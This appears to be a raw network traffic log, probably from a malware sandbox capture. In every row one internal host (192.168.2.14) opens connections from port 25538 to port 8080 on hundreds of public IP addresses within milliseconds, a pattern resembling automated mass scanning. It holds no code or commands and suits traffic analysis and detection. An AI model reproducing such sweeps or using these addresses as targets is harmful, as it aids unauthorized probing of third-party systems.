Feb 27, 2025 07:08:37.586683035 CET	25538	8080	192.168.2.14	85.224.202.12
Feb 27, 2025 07:08:37.586700916 CET	25538	8080	192.168.2.14	31.156.38.80
Feb 27, 2025 07:08:37.586705923 CET	25538	8080	192.168.2.14	95.151.126.96
Feb 27, 2025 07:08:37.586709023 CET	25538	8080	192.168.2.14	31.36.198.133
Feb 27, 2025 07:08:37.586709976 CET	25538	8080	192.168.2.14	62.166.29.183
Feb 27, 2025 07:08:37.586735964 CET	25538	8080	192.168.2.14	95.210.81.0
Feb 27, 2025 07:08:37.586739063 CET	25538	8080	192.168.2.14	94.214.89.37
Feb 27, 2025 07:08:37.586739063 CET	25538	8080	192.168.2.14	85.242.12.53
Feb 27, 2025 07:08:37.586739063 CET	25538	8080	192.168.2.14	95.64.88.169
Feb 27, 2025 07:08:37.586747885 CET	25538	8080	192.168.2.14	62.166.78.223
Feb 27, 2025 07:08:37.586750031 CET	25538	8080	192.168.2.14	95.44.176.210
Feb 27, 2025 07:08:37.586750031 CET	25538	8080	192.168.2.14	85.113.26.250
Feb 27, 2025 07:08:37.586760998 CET	25538	8080	192.168.2.14	31.210.218.237
Feb 27, 2025 07:08:37.586769104 CET	25538	8080	192.168.2.14	94.132.199.149
Feb 27, 2025 07:08:37.586771011 CET	25538	8080	192.168.2.14	85.110.8.125
Feb 27, 2025 07:08:37.586771011 CET	25538	8080	192.168.2.14	62.21.29.176
Feb 27, 2025 07:08:37.586776018 CET	25538	8080	192.168.2.14	85.253.230.238
Feb 27, 2025 07:08:37.586781979 CET	25538	8080	192.168.2.14	85.215.219.212
Feb 27, 2025 07:08:37.586797953 CET	25538	8080	192.168.2.14	94.213.133.8
Feb 27, 2025 07:08:37.586797953 CET	25538	8080	192.168.2.14	94.50.105.91
Feb 27, 2025 07:08:37.586801052 CET	25538	8080	192.168.2.14	31.52.148.27
Feb 27, 2025 07:08:37.586807013 CET	25538	8080	192.168.2.14	95.182.227.38
Feb 27, 2025 07:08:37.586807013 CET	25538	8080	192.168.2.14	31.176.186.171
Feb 27, 2025 07:08:37.586807013 CET	25538	8080	192.168.2.14	94.120.233.205
Feb 27, 2025 07:08:37.586807013 CET	25538	8080	192.168.2.14	94.177.33.162
Feb 27, 2025 07:08:37.586807013 CET	25538	8080	192.168.2.14	62.248.190.111
Feb 27, 2025 07:08:37.586826086 CET	25538	8080	192.168.2.14	62.140.68.244
Feb 27, 2025 07:08:37.586826086 CET	25538	8080	192.168.2.14	85.187.213.48
Feb 27, 2025 07:08:37.586827040 CET	25538	8080	192.168.2.14	85.171.182.6
Feb 27, 2025 07:08:37.586827040 CET	25538	8080	192.168.2.14	94.75.115.104
Feb 27, 2025 07:08:37.586827993 CET	25538	8080	192.168.2.14	85.191.224.5
Feb 27, 2025 07:08:37.586832047 CET	25538	8080	192.168.2.14	95.250.232.5
Feb 27, 2025 07:08:37.586850882 CET	25538	8080	192.168.2.14	31.79.255.190
Feb 27, 2025 07:08:37.586853981 CET	25538	8080	192.168.2.14	62.171.235.46
Feb 27, 2025 07:08:37.586853981 CET	25538	8080	192.168.2.14	85.170.152.34
Feb 27, 2025 07:08:37.586859941 CET	25538	8080	192.168.2.14	95.148.228.44
Feb 27, 2025 07:08:37.586859941 CET	25538	8080	192.168.2.14	31.204.250.205
Feb 27, 2025 07:08:37.586873055 CET	25538	8080	192.168.2.14	31.92.104.201
Feb 27, 2025 07:08:37.586875916 CET	25538	8080	192.168.2.14	95.167.139.135
Feb 27, 2025 07:08:37.586879015 CET	25538	8080	192.168.2.14	94.167.204.219
Feb 27, 2025 07:08:37.586890936 CET	25538	8080	192.168.2.14	95.199.112.226
Feb 27, 2025 07:08:37.586890936 CET	25538	8080	192.168.2.14	31.48.141.194
Feb 27, 2025 07:08:37.586895943 CET	25538	8080	192.168.2.14	62.164.52.56
Feb 27, 2025 07:08:37.586899996 CET	25538	8080	192.168.2.14	62.117.112.55
Feb 27, 2025 07:08:37.586910009 CET	25538	8080	192.168.2.14	31.158.196.62
Feb 27, 2025 07:08:37.586910009 CET	25538	8080	192.168.2.14	85.123.114.220
Feb 27, 2025 07:08:37.586935043 CET	25538	8080	192.168.2.14	31.212.172.194
Feb 27, 2025 07:08:37.586935997 CET	25538	8080	192.168.2.14	85.71.25.108
Feb 27, 2025 07:08:37.586935997 CET	25538	8080	192.168.2.14	62.206.150.107
Feb 27, 2025 07:08:37.586935997 CET	25538	8080	192.168.2.14	85.193.249.50
Feb 27, 2025 07:08:37.586941004 CET	25538	8080	192.168.2.14	62.167.253.201
Feb 27, 2025 07:08:37.586944103 CET	25538	8080	192.168.2.14	62.116.236.43
Feb 27, 2025 07:08:37.586944103 CET	25538	8080	192.168.2.14	85.250.234.219
Feb 27, 2025 07:08:37.586956024 CET	25538	8080	192.168.2.14	85.0.181.198
Feb 27, 2025 07:08:37.586956024 CET	25538	8080	192.168.2.14	94.164.105.41
Feb 27, 2025 07:08:37.586957932 CET	25538	8080	192.168.2.14	85.205.208.98
Feb 27, 2025 07:08:37.586961985 CET	25538	8080	192.168.2.14	85.117.96.190
Feb 27, 2025 07:08:37.586971998 CET	25538	8080	192.168.2.14	94.35.94.55
Feb 27, 2025 07:08:37.586971998 CET	25538	8080	192.168.2.14	62.216.200.21
Feb 27, 2025 07:08:37.586977959 CET	25538	8080	192.168.2.14	94.98.39.57
Feb 27, 2025 07:08:37.586977959 CET	25538	8080	192.168.2.14	31.139.120.9
Feb 27, 2025 07:08:37.586977959 CET	25538	8080	192.168.2.14	31.46.187.137
Feb 27, 2025 07:08:37.586992025 CET	25538	8080	192.168.2.14	95.183.177.41
Feb 27, 2025 07:08:37.586997986 CET	25538	8080	192.168.2.14	95.17.146.242
Feb 27, 2025 07:08:37.587001085 CET	25538	8080	192.168.2.14	31.239.103.78
Feb 27, 2025 07:08:37.587013960 CET	25538	8080	192.168.2.14	95.99.120.201
Feb 27, 2025 07:08:37.587014914 CET	25538	8080	192.168.2.14	31.31.3.10
Feb 27, 2025 07:08:37.587021112 CET	25538	8080	192.168.2.14	62.12.42.179
Feb 27, 2025 07:08:37.587028027 CET	25538	8080	192.168.2.14	62.123.126.189
Feb 27, 2025 07:08:37.587028027 CET	25538	8080	192.168.2.14	62.222.108.209
Feb 27, 2025 07:08:37.587049961 CET	25538	8080	192.168.2.14	62.179.189.67
Feb 27, 2025 07:08:37.587052107 CET	25538	8080	192.168.2.14	85.56.0.204
Feb 27, 2025 07:08:37.587054968 CET	25538	8080	192.168.2.14	31.95.205.255
Feb 27, 2025 07:08:37.587059021 CET	25538	8080	192.168.2.14	85.75.85.5
Feb 27, 2025 07:08:37.587059021 CET	25538	8080	192.168.2.14	62.8.175.30
Feb 27, 2025 07:08:37.587059021 CET	25538	8080	192.168.2.14	62.12.125.198
Feb 27, 2025 07:08:37.587069035 CET	25538	8080	192.168.2.14	94.191.128.122
Feb 27, 2025 07:08:37.587073088 CET	25538	8080	192.168.2.14	31.40.36.161
Feb 27, 2025 07:08:37.587078094 CET	25538	8080	192.168.2.14	95.204.253.33
Feb 27, 2025 07:08:37.587091923 CET	25538	8080	192.168.2.14	62.136.127.145
Feb 27, 2025 07:08:37.587093115 CET	25538	8080	192.168.2.14	94.33.218.192
Feb 27, 2025 07:08:37.587095022 CET	25538	8080	192.168.2.14	31.78.98.41
Feb 27, 2025 07:08:37.587107897 CET	25538	8080	192.168.2.14	31.58.48.222
Feb 27, 2025 07:08:37.587110043 CET	25538	8080	192.168.2.14	85.37.156.247
Feb 27, 2025 07:08:37.587121964 CET	25538	8080	192.168.2.14	95.107.35.159
Feb 27, 2025 07:08:37.587121964 CET	25538	8080	192.168.2.14	85.21.99.243
Feb 27, 2025 07:08:37.587121964 CET	25538	8080	192.168.2.14	62.63.96.43
Feb 27, 2025 07:08:37.587141037 CET	25538	8080	192.168.2.14	85.233.163.103
Feb 27, 2025 07:08:37.587141037 CET	25538	8080	192.168.2.14	85.115.2.170
Feb 27, 2025 07:08:37.587141037 CET	25538	8080	192.168.2.14	31.255.93.211
Feb 27, 2025 07:08:37.587146044 CET	25538	8080	192.168.2.14	62.36.97.32
Feb 27, 2025 07:08:37.587150097 CET	25538	8080	192.168.2.14	62.230.135.219
Feb 27, 2025 07:08:37.587162971 CET	25538	8080	192.168.2.14	85.85.61.112
Feb 27, 2025 07:08:37.587174892 CET	25538	8080	192.168.2.14	85.247.61.185
Feb 27, 2025 07:08:37.587179899 CET	25538	8080	192.168.2.14	62.100.250.233
Feb 27, 2025 07:08:37.587181091 CET	25538	8080	192.168.2.14	31.66.34.156
Feb 27, 2025 07:08:37.587181091 CET	25538	8080	192.168.2.14	95.250.117.76
Feb 27, 2025 07:08:37.587183952 CET	25538	8080	192.168.2.14	31.35.170.224
Feb 27, 2025 07:08:37.587192059 CET	25538	8080	192.168.2.14	94.70.162.33
Feb 27, 2025 07:08:37.587193966 CET	25538	8080	192.168.2.14	31.215.41.244
Feb 27, 2025 07:08:37.587193966 CET	25538	8080	192.168.2.14	31.205.47.10
Feb 27, 2025 07:08:37.587213993 CET	25538	8080	192.168.2.14	62.185.120.84
Feb 27, 2025 07:08:37.587217093 CET	25538	8080	192.168.2.14	31.193.53.155
Feb 27, 2025 07:08:37.587218046 CET	25538	8080	192.168.2.14	85.167.172.129
Feb 27, 2025 07:08:37.587219000 CET	25538	8080	192.168.2.14	31.250.14.90
Feb 27, 2025 07:08:37.587228060 CET	25538	8080	192.168.2.14	62.225.235.224
Feb 27, 2025 07:08:37.587234974 CET	25538	8080	192.168.2.14	62.179.88.179
Feb 27, 2025 07:08:37.587234974 CET	25538	8080	192.168.2.14	95.229.212.225
Feb 27, 2025 07:08:37.587240934 CET	25538	8080	192.168.2.14	94.210.170.127
Feb 27, 2025 07:08:37.587249994 CET	25538	8080	192.168.2.14	62.81.32.60
Feb 27, 2025 07:08:37.587260008 CET	25538	8080	192.168.2.14	62.190.71.219
Feb 27, 2025 07:08:37.587264061 CET	25538	8080	192.168.2.14	62.41.158.102
Feb 27, 2025 07:08:37.587266922 CET	25538	8080	192.168.2.14	94.152.79.250
Feb 27, 2025 07:08:37.587275028 CET	25538	8080	192.168.2.14	85.202.194.84
Feb 27, 2025 07:08:37.587286949 CET	25538	8080	192.168.2.14	31.187.27.138
Feb 27, 2025 07:08:37.587289095 CET	25538	8080	192.168.2.14	94.46.44.33
Feb 27, 2025 07:08:37.587289095 CET	25538	8080	192.168.2.14	95.179.19.69
Feb 27, 2025 07:08:37.587295055 CET	25538	8080	192.168.2.14	94.68.15.156
Feb 27, 2025 07:08:37.587295055 CET	25538	8080	192.168.2.14	85.8.235.91
Feb 27, 2025 07:08:37.587295055 CET	25538	8080	192.168.2.14	94.79.150.87
Feb 27, 2025 07:08:37.587296963 CET	25538	8080	192.168.2.14	62.182.192.168
Feb 27, 2025 07:08:37.587296963 CET	25538	8080	192.168.2.14	94.29.50.203
Feb 27, 2025 07:08:37.587296963 CET	25538	8080	192.168.2.14	94.249.89.89
Feb 27, 2025 07:08:37.587296963 CET	25538	8080	192.168.2.14	31.104.126.155
Feb 27, 2025 07:08:37.587305069 CET	25538	8080	192.168.2.14	62.124.245.207
Feb 27, 2025 07:08:37.587304115 CET	25538	8080	192.168.2.14	62.244.134.37
Feb 27, 2025 07:08:37.587318897 CET	25538	8080	192.168.2.14	62.4.123.156
Feb 27, 2025 07:08:37.587318897 CET	25538	8080	192.168.2.14	31.235.226.113
Feb 27, 2025 07:08:37.587321997 CET	25538	8080	192.168.2.14	62.250.45.206
Feb 27, 2025 07:08:37.587321997 CET	25538	8080	192.168.2.14	94.151.191.253
Feb 27, 2025 07:08:37.587322950 CET	25538	8080	192.168.2.14	31.120.228.132
Feb 27, 2025 07:08:37.587322950 CET	25538	8080	192.168.2.14	85.33.40.80
Feb 27, 2025 07:08:37.587322950 CET	25538	8080	192.168.2.14	94.95.136.200
Feb 27, 2025 07:08:37.587323904 CET	25538	8080	192.168.2.14	85.253.14.92
Feb 27, 2025 07:08:37.587325096 CET	25538	8080	192.168.2.14	62.17.59.208
Feb 27, 2025 07:08:37.587341070 CET	25538	8080	192.168.2.14	94.35.250.165
Feb 27, 2025 07:08:37.587342024 CET	25538	8080	192.168.2.14	95.188.101.146
Feb 27, 2025 07:08:37.587357044 CET	25538	8080	192.168.2.14	85.214.77.170
Feb 27, 2025 07:08:37.587357044 CET	25538	8080	192.168.2.14	94.1.146.253
Feb 27, 2025 07:08:37.587357044 CET	25538	8080	192.168.2.14	85.213.225.132
Feb 27, 2025 07:08:37.587364912 CET	25538	8080	192.168.2.14	94.86.235.250
Feb 27, 2025 07:08:37.587364912 CET	25538	8080	192.168.2.14	62.52.57.115
Feb 27, 2025 07:08:37.587377071 CET	25538	8080	192.168.2.14	31.192.202.34
Feb 27, 2025 07:08:37.587383032 CET	25538	8080	192.168.2.14	31.246.44.5
Feb 27, 2025 07:08:37.587385893 CET	25538	8080	192.168.2.14	31.209.63.162
Feb 27, 2025 07:08:37.587390900 CET	25538	8080	192.168.2.14	31.124.207.174
Feb 27, 2025 07:08:37.587399006 CET	25538	8080	192.168.2.14	31.99.209.245
Feb 27, 2025 07:08:37.587414980 CET	25538	8080	192.168.2.14	62.78.22.104
Feb 27, 2025 07:08:37.587416887 CET	25538	8080	192.168.2.14	85.41.146.127
Feb 27, 2025 07:08:37.587419033 CET	25538	8080	192.168.2.14	94.238.229.119
Feb 27, 2025 07:08:37.587420940 CET	25538	8080	192.168.2.14	94.146.101.172
Feb 27, 2025 07:08:37.587426901 CET	25538	8080	192.168.2.14	62.205.245.198
Feb 27, 2025 07:08:37.587430000 CET	25538	8080	192.168.2.14	94.205.147.154
Feb 27, 2025 07:08:37.587435007 CET	25538	8080	192.168.2.14	31.98.86.200
Feb 27, 2025 07:08:37.587446928 CET	25538	8080	192.168.2.14	94.176.141.248
Feb 27, 2025 07:08:37.587451935 CET	25538	8080	192.168.2.14	31.82.186.62
Feb 27, 2025 07:08:37.587451935 CET	25538	8080	192.168.2.14	85.187.160.1
Feb 27, 2025 07:08:37.587470055 CET	25538	8080	192.168.2.14	85.154.24.246
Feb 27, 2025 07:08:37.587471008 CET	25538	8080	192.168.2.14	85.32.46.53
Feb 27, 2025 07:08:37.587476969 CET	25538	8080	192.168.2.14	85.65.233.129
Feb 27, 2025 07:08:37.587481976 CET	25538	8080	192.168.2.14	94.251.95.224
Feb 27, 2025 07:08:37.587487936 CET	25538	8080	192.168.2.14	94.187.213.153
Feb 27, 2025 07:08:37.587492943 CET	25538	8080	192.168.2.14	95.59.212.95
Feb 27, 2025 07:08:37.587492943 CET	25538	8080	192.168.2.14	31.86.169.134
Feb 27, 2025 07:08:37.587508917 CET	25538	8080	192.168.2.14	85.18.155.92
Feb 27, 2025 07:08:37.587512970 CET	25538	8080	192.168.2.14	94.193.220.166
Feb 27, 2025 07:08:37.587512970 CET	25538	8080	192.168.2.14	85.238.167.21
Feb 27, 2025 07:08:37.587523937 CET	25538	8080	192.168.2.14	95.44.49.134
Feb 27, 2025 07:08:37.587537050 CET	25538	8080	192.168.2.14	85.103.190.124
Feb 27, 2025 07:08:37.587537050 CET	25538	8080	192.168.2.14	85.28.175.141
Feb 27, 2025 07:08:37.587538004 CET	25538	8080	192.168.2.14	94.18.73.95
Feb 27, 2025 07:08:37.587541103 CET	25538	8080	192.168.2.14	94.157.10.187
Feb 27, 2025 07:08:37.587541103 CET	25538	8080	192.168.2.14	95.146.20.84
Feb 27, 2025 07:08:37.587557077 CET	25538	8080	192.168.2.14	31.167.78.94
Feb 27, 2025 07:08:37.587562084 CET	25538	8080	192.168.2.14	31.84.192.245
Feb 27, 2025 07:08:37.587563992 CET	25538	8080	192.168.2.14	94.231.206.135
Feb 27, 2025 07:08:37.587584972 CET	25538	8080	192.168.2.14	95.15.197.165
Feb 27, 2025 07:08:37.587584972 CET	25538	8080	192.168.2.14	31.17.146.117
Feb 27, 2025 07:08:37.587587118 CET	25538	8080	192.168.2.14	62.43.27.252
Feb 27, 2025 07:08:37.587589025 CET	25538	8080	192.168.2.14	62.181.164.170
Feb 27, 2025 07:08:37.587589025 CET	25538	8080	192.168.2.14	62.122.47.146
Feb 27, 2025 07:08:37.587589025 CET	25538	8080	192.168.2.14	95.26.149.169
Feb 27, 2025 07:08:37.587589025 CET	25538	8080	192.168.2.14	94.238.148.41
Feb 27, 2025 07:08:37.587603092 CET	25538	8080	192.168.2.14	31.45.24.9
Feb 27, 2025 07:08:37.587608099 CET	25538	8080	192.168.2.14	31.6.184.85
Feb 27, 2025 07:08:37.587611914 CET	25538	8080	192.168.2.14	31.96.111.111
Feb 27, 2025 07:08:37.587620020 CET	25538	8080	192.168.2.14	62.53.87.186
Feb 27, 2025 07:08:37.587630987 CET	25538	8080	192.168.2.14	85.32.235.161
Feb 27, 2025 07:08:37.587634087 CET	25538	8080	192.168.2.14	62.133.169.53
Feb 27, 2025 07:08:37.587634087 CET	25538	8080	192.168.2.14	95.62.64.243
Feb 27, 2025 07:08:37.587634087 CET	25538	8080	192.168.2.14	62.185.16.255
Feb 27, 2025 07:08:37.587644100 CET	25538	8080	192.168.2.14	62.121.8.226
Feb 27, 2025 07:08:37.587644100 CET	25538	8080	192.168.2.14	95.55.206.55
Feb 27, 2025 07:08:37.587661028 CET	25538	8080	192.168.2.14	95.99.121.248
Feb 27, 2025 07:08:37.587663889 CET	25538	8080	192.168.2.14	62.97.233.16
Feb 27, 2025 07:08:37.587676048 CET	25538	8080	192.168.2.14	62.253.182.162
Feb 27, 2025 07:08:37.587676048 CET	25538	8080	192.168.2.14	95.175.29.99
Feb 27, 2025 07:08:37.587681055 CET	25538	8080	192.168.2.14	94.156.110.221
Feb 27, 2025 07:08:37.587682009 CET	25538	8080	192.168.2.14	31.24.224.120
Feb 27, 2025 07:08:37.587691069 CET	25538	8080	192.168.2.14	95.232.52.50
Feb 27, 2025 07:08:37.587702036 CET	25538	8080	192.168.2.14	31.31.236.236
Feb 27, 2025 07:08:37.587702036 CET	25538	8080	192.168.2.14	31.201.213.114
Feb 27, 2025 07:08:37.587711096 CET	25538	8080	192.168.2.14	94.175.88.125
Feb 27, 2025 07:08:37.587712049 CET	25538	8080	192.168.2.14	62.132.160.214
Feb 27, 2025 07:08:37.587712049 CET	25538	8080	192.168.2.14	62.254.142.41
Feb 27, 2025 07:08:37.587726116 CET	25538	8080	192.168.2.14	95.179.222.233
Feb 27, 2025 07:08:37.587730885 CET	25538	8080	192.168.2.14	31.170.104.163
Feb 27, 2025 07:08:37.587733984 CET	25538	8080	192.168.2.14	94.249.145.140
Feb 27, 2025 07:08:37.587739944 CET	25538	8080	192.168.2.14	31.11.54.119
Feb 27, 2025 07:08:37.587753057 CET	25538	8080	192.168.2.14	85.23.51.122
Feb 27, 2025 07:08:37.587753057 CET	25538	8080	192.168.2.14	95.76.156.141
Feb 27, 2025 07:08:37.587753057 CET	25538	8080	192.168.2.14	95.51.165.213
Feb 27, 2025 07:08:37.587754965 CET	25538	8080	192.168.2.14	31.131.129.92
Feb 27, 2025 07:08:37.587771893 CET	25538	8080	192.168.2.14	31.73.211.41
Feb 27, 2025 07:08:37.587774992 CET	25538	8080	192.168.2.14	95.111.92.221
Feb 27, 2025 07:08:37.587775946 CET	25538	8080	192.168.2.14	95.170.211.44
Feb 27, 2025 07:08:37.587780952 CET	25538	8080	192.168.2.14	94.226.213.243
Feb 27, 2025 07:08:37.587793112 CET	25538	8080	192.168.2.14	31.177.184.131
Feb 27, 2025 07:08:37.587804079 CET	25538	8080	192.168.2.14	31.55.126.239
Feb 27, 2025 07:08:37.587810993 CET	25538	8080	192.168.2.14	31.249.175.120
Feb 27, 2025 07:08:37.587811947 CET	25538	8080	192.168.2.14	95.165.46.172
Feb 27, 2025 07:08:37.587811947 CET	25538	8080	192.168.2.14	95.87.46.14
Feb 27, 2025 07:08:37.587829113 CET	25538	8080	192.168.2.14	31.185.213.173
Feb 27, 2025 07:08:37.587829113 CET	25538	8080	192.168.2.14	95.69.137.184
Feb 27, 2025 07:08:37.587831974 CET	25538	8080	192.168.2.14	95.77.53.156
Feb 27, 2025 07:08:37.587831974 CET	25538	8080	192.168.2.14	85.67.39.234
Feb 27, 2025 07:08:37.587835073 CET	25538	8080	192.168.2.14	94.54.53.142
Feb 27, 2025 07:08:37.587847948 CET	25538	8080	192.168.2.14	62.225.163.169
Feb 27, 2025 07:08:37.587848902 CET	25538	8080	192.168.2.14	94.175.172.189
Feb 27, 2025 07:08:37.587848902 CET	25538	8080	192.168.2.14	62.245.83.230
Feb 27, 2025 07:08:37.587848902 CET	25538	8080	192.168.2.14	94.78.51.5
Feb 27, 2025 07:08:37.587855101 CET	25538	8080	192.168.2.14	95.143.18.25
Feb 27, 2025 07:08:37.587862015 CET	25538	8080	192.168.2.14	94.213.249.120
Feb 27, 2025 07:08:37.587866068 CET	25538	8080	192.168.2.14	31.124.28.16
Feb 27, 2025 07:08:37.587879896 CET	25538	8080	192.168.2.14	31.85.65.97
Feb 27, 2025 07:08:37.587881088 CET	25538	8080	192.168.2.14	62.227.71.44
Feb 27, 2025 07:08:37.587881088 CET	25538	8080	192.168.2.14	31.140.135.41
Feb 27, 2025 07:08:37.587881088 CET	25538	8080	192.168.2.14	62.88.174.38
Feb 27, 2025 07:08:37.587882996 CET	25538	8080	192.168.2.14	94.166.73.88
Feb 27, 2025 07:08:37.587889910 CET	25538	8080	192.168.2.14	94.27.141.29
Feb 27, 2025 07:08:37.587907076 CET	25538	8080	192.168.2.14	95.237.150.191
Feb 27, 2025 07:08:37.587907076 CET	25538	8080	192.168.2.14	95.82.255.43
Feb 27, 2025 07:08:37.587909937 CET	25538	8080	192.168.2.14	85.111.26.109
Feb 27, 2025 07:08:37.587912083 CET	25538	8080	192.168.2.14	95.80.60.230
Feb 27, 2025 07:08:37.587912083 CET	25538	8080	192.168.2.14	85.64.70.4
Feb 27, 2025 07:08:37.587914944 CET	25538	8080	192.168.2.14	85.96.156.69
Feb 27, 2025 07:08:37.587930918 CET	25538	8080	192.168.2.14	31.255.133.245
Feb 27, 2025 07:08:37.587930918 CET	25538	8080	192.168.2.14	94.153.61.178
Feb 27, 2025 07:08:37.587933064 CET	25538	8080	192.168.2.14	94.108.99.104
Feb 27, 2025 07:08:37.587933064 CET	25538	8080	192.168.2.14	62.240.128.191
Feb 27, 2025 07:08:37.587943077 CET	25538	8080	192.168.2.14	62.18.142.87
Feb 27, 2025 07:08:37.587949038 CET	25538	8080	192.168.2.14	62.127.98.98
Feb 27, 2025 07:08:37.587949038 CET	25538	8080	192.168.2.14	95.163.104.1
Feb 27, 2025 07:08:37.587959051 CET	25538	8080	192.168.2.14	94.131.142.255
Feb 27, 2025 07:08:37.587959051 CET	25538	8080	192.168.2.14	31.65.91.207
Feb 27, 2025 07:08:37.587975979 CET	25538	8080	192.168.2.14	95.75.30.218
Feb 27, 2025 07:08:37.587975979 CET	25538	8080	192.168.2.14	94.44.238.36
Feb 27, 2025 07:08:37.587975979 CET	25538	8080	192.168.2.14	62.124.52.29
Feb 27, 2025 07:08:37.587979078 CET	25538	8080	192.168.2.14	62.53.45.158
Feb 27, 2025 07:08:37.587979078 CET	25538	8080	192.168.2.14	62.43.19.130
Feb 27, 2025 07:08:37.587986946 CET	25538	8080	192.168.2.14	31.5.238.190
Feb 27, 2025 07:08:37.587987900 CET	25538	8080	192.168.2.14	95.60.16.80
Feb 27, 2025 07:08:37.587992907 CET	25538	8080	192.168.2.14	95.15.24.248
Feb 27, 2025 07:08:37.588002920 CET	25538	8080	192.168.2.14	94.105.244.108
Feb 27, 2025 07:08:37.588011980 CET	25538	8080	192.168.2.14	85.16.194.174
Feb 27, 2025 07:08:37.588015079 CET	25538	8080	192.168.2.14	95.129.56.10
Feb 27, 2025 07:08:37.588016987 CET	25538	8080	192.168.2.14	85.174.181.253
Feb 27, 2025 07:08:37.588031054 CET	25538	8080	192.168.2.14	62.124.249.189
Feb 27, 2025 07:08:37.588032007 CET	25538	8080	192.168.2.14	94.166.195.151
Feb 27, 2025 07:08:37.588032007 CET	25538	8080	192.168.2.14	95.209.10.240
Feb 27, 2025 07:08:37.588032007 CET	25538	8080	192.168.2.14	62.29.17.91
Feb 27, 2025 07:08:37.588049889 CET	25538	8080	192.168.2.14	31.98.208.26
Feb 27, 2025 07:08:37.588049889 CET	25538	8080	192.168.2.14	85.160.74.139
Feb 27, 2025 07:08:37.588053942 CET	25538	8080	192.168.2.14	95.126.76.185
Feb 27, 2025 07:08:37.588058949 CET	25538	8080	192.168.2.14	94.216.119.71
Feb 27, 2025 07:08:37.588059902 CET	25538	8080	192.168.2.14	94.128.19.102
Feb 27, 2025 07:08:37.588068962 CET	25538	8080	192.168.2.14	62.112.235.221
Feb 27, 2025 07:08:37.588068962 CET	25538	8080	192.168.2.14	94.201.242.10
Feb 27, 2025 07:08:37.588078022 CET	25538	8080	192.168.2.14	31.94.208.109
Feb 27, 2025 07:08:37.588078022 CET	25538	8080	192.168.2.14	94.22.127.203
Feb 27, 2025 07:08:37.588083982 CET	25538	8080	192.168.2.14	31.131.153.141
Feb 27, 2025 07:08:37.588083982 CET	25538	8080	192.168.2.14	95.233.210.234
Feb 27, 2025 07:08:37.588087082 CET	25538	8080	192.168.2.14	31.186.73.246
Feb 27, 2025 07:08:37.588104010 CET	25538	8080	192.168.2.14	94.5.201.153
Feb 27, 2025 07:08:37.588104010 CET	25538	8080	192.168.2.14	31.237.1.192
Feb 27, 2025 07:08:37.588104010 CET	25538	8080	192.168.2.14	31.222.26.131
Feb 27, 2025 07:08:37.588107109 CET	25538	8080	192.168.2.14	95.176.42.234
Feb 27, 2025 07:08:37.588109970 CET	25538	8080	192.168.2.14	62.61.220.25
Feb 27, 2025 07:08:37.588121891 CET	25538	8080	192.168.2.14	95.101.228.153
Feb 27, 2025 07:08:37.588123083 CET	25538	8080	192.168.2.14	31.129.174.54
Feb 27, 2025 07:08:37.588131905 CET	25538	8080	192.168.2.14	62.136.146.130
Feb 27, 2025 07:08:37.588141918 CET	25538	8080	192.168.2.14	95.209.140.188
Feb 27, 2025 07:08:37.588141918 CET	25538	8080	192.168.2.14	62.200.131.192
Feb 27, 2025 07:08:37.588148117 CET	25538	8080	192.168.2.14	85.151.198.149
Feb 27, 2025 07:08:37.588159084 CET	25538	8080	192.168.2.14	94.8.180.111
Feb 27, 2025 07:08:37.588160992 CET	25538	8080	192.168.2.14	85.106.0.70
Feb 27, 2025 07:08:37.588160992 CET	25538	8080	192.168.2.14	95.160.34.121
Feb 27, 2025 07:08:37.588164091 CET	25538	8080	192.168.2.14	62.72.221.27
Feb 27, 2025 07:08:37.588166952 CET	25538	8080	192.168.2.14	31.189.32.46
Feb 27, 2025 07:08:37.588169098 CET	25538	8080	192.168.2.14	85.111.36.216
Feb 27, 2025 07:08:37.588171959 CET	25538	8080	192.168.2.14	94.175.212.226
Feb 27, 2025 07:08:37.588186979 CET	25538	8080	192.168.2.14	95.94.149.246
Feb 27, 2025 07:08:37.588191986 CET	25538	8080	192.168.2.14	94.237.52.106
Feb 27, 2025 07:08:37.588196039 CET	25538	8080	192.168.2.14	95.138.151.85
Feb 27, 2025 07:08:37.588197947 CET	25538	8080	192.168.2.14	31.54.15.85
Feb 27, 2025 07:08:37.588207006 CET	25538	8080	192.168.2.14	31.203.170.127
Feb 27, 2025 07:08:37.588210106 CET	25538	8080	192.168.2.14	95.65.111.47
Feb 27, 2025 07:08:37.588222027 CET	25538	8080	192.168.2.14	85.161.191.128
Feb 27, 2025 07:08:37.588227987 CET	25538	8080	192.168.2.14	94.106.139.9
Feb 27, 2025 07:08:37.588228941 CET	25538	8080	192.168.2.14	94.146.250.244
Feb 27, 2025 07:08:37.588231087 CET	25538	8080	192.168.2.14	94.231.92.248
Feb 27, 2025 07:08:37.588234901 CET	25538	8080	192.168.2.14	62.45.183.70
Feb 27, 2025 07:08:37.588239908 CET	25538	8080	192.168.2.14	95.35.11.119
Feb 27, 2025 07:08:37.588243961 CET	25538	8080	192.168.2.14	85.14.114.232
Feb 27, 2025 07:08:37.588252068 CET	25538	8080	192.168.2.14	95.6.42.174
Feb 27, 2025 07:08:37.588262081 CET	25538	8080	192.168.2.14	62.237.55.33
Feb 27, 2025 07:08:37.588262081 CET	25538	8080	192.168.2.14	85.214.204.206
Feb 27, 2025 07:08:37.588268995 CET	25538	8080	192.168.2.14	62.146.179.128
Feb 27, 2025 07:08:37.588272095 CET	25538	8080	192.168.2.14	85.188.246.68
Feb 27, 2025 07:08:37.588273048 CET	25538	8080	192.168.2.14	62.97.145.67
Feb 27, 2025 07:08:37.588279963 CET	25538	8080	192.168.2.14	94.196.16.214
Feb 27, 2025 07:08:37.588294029 CET	25538	8080	192.168.2.14	94.235.124.86
Feb 27, 2025 07:08:37.588301897 CET	25538	8080	192.168.2.14	62.232.108.116
Feb 27, 2025 07:08:37.588301897 CET	25538	8080	192.168.2.14	31.53.214.142
Feb 27, 2025 07:08:37.588301897 CET	25538	8080	192.168.2.14	95.6.79.70
Feb 27, 2025 07:08:37.588304996 CET	25538	8080	192.168.2.14	62.221.199.46
Feb 27, 2025 07:08:37.588309050 CET	25538	8080	192.168.2.14	95.103.109.11
Feb 27, 2025 07:08:37.588310003 CET	25538	8080	192.168.2.14	62.191.224.227
Feb 27, 2025 07:08:37.588316917 CET	25538	8080	192.168.2.14	62.154.163.59
Feb 27, 2025 07:08:37.588316917 CET	25538	8080	192.168.2.14	31.211.204.54
Feb 27, 2025 07:08:37.588323116 CET	25538	8080	192.168.2.14	95.92.81.193
Feb 27, 2025 07:08:37.588327885 CET	25538	8080	192.168.2.14	94.54.145.214
Feb 27, 2025 07:08:37.588327885 CET	25538	8080	192.168.2.14	31.245.136.31
